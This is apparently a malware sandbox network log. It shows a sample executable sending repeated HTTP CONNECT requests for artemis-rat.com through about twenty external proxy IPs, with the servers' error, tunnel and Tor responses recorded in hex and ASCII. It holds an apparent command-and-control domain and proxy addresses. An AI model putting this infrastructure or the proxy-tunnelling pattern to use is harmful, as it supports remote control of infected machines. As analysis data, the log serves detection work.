Mar 11, 2024 03:30:41.717176914 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:41 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
933	192.168.2.5	52420	43.255.113.232	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.413779020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
934	192.168.2.5	52464	218.252.244.126	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.413836956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.729541063 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
935	192.168.2.5	52432	69.230.240.163	32650	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.413837910 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:41.754379988 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:41 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 03:30:42.105214119 CET	628	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy54-HG100-2</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></html Data Raw: Data Ascii:
Mar 11, 2024 03:30:42.107319117 CET	628	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy50-HG100-2</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></html Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
936	192.168.2.5	52538	192.252.216.81	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.413841009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
937	192.168.2.5	51599	128.199.251.219	8000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.413964033 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.445987940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.780123949 CET	19	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
938	192.168.2.5	52572	157.185.157.151	26589	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.413976908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
939	192.168.2.5	52429	45.11.95.165	5038	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.414011002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
940	192.168.2.5	52487	47.243.177.210	8088	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.414613962 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.193416119 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.1 Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
941	192.168.2.5	52430	95.140.124.161	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.415015936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
942	192.168.2.5	52433	171.235.166.222	4019	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.415360928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.762739897 CET	228	IN	HTTP/1.0 502 Bad Gateway Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 32 3e 3c 68 33 3e 48 6f 73 74 20 4e 6f 74 20 46 6f 75 6e 64 20 6f 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 61 69 6c 65 64 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h2>502 Bad Gateway</h2><h3>Host Not Found or connection failed</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
943	192.168.2.5	52557	46.51.249.135	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.415596008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.680811882 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:41 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
944	192.168.2.5	52412	45.4.144.232	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.416321039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
945	192.168.2.5	51940	59.15.28.76	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.427187920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.592360973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.007117987 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
946	192.168.2.5	52499	223.19.111.185	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.429307938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.092617989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.093195915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.092799902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.889781952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.702406883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.499022961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:04.093004942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:17.853588104 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 02:30:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>
Mar 11, 2024 03:31:41.893565893 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 02:30:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
947	192.168.2.5	52408	103.231.78.36	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.432776928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.820370913 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Mon, 11 Mar 2024 02:13:34 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
948	192.168.2.5	52020	37.187.73.7	12582	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.433908939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.446055889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.572568893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.717600107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
949	192.168.2.5	52533	194.145.209.187	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.446857929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:32:40.786636114 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:43.788589001 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:49.795939922 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:33:01.810477972 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:33:25.875163078 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
950	192.168.2.5	52409	103.190.54.141	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.460732937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
951	192.168.2.5	52555	47.243.92.199	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.460813046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.770385027 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
952	192.168.2.5	52583	184.72.36.89	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.460952997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.633858919 CET	344	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 02:30:41 GMT Server: Apache Content-Length: 199 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
953	192.168.2.5	52562	185.103.101.39	10051	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.460954905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:04.979985952 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>
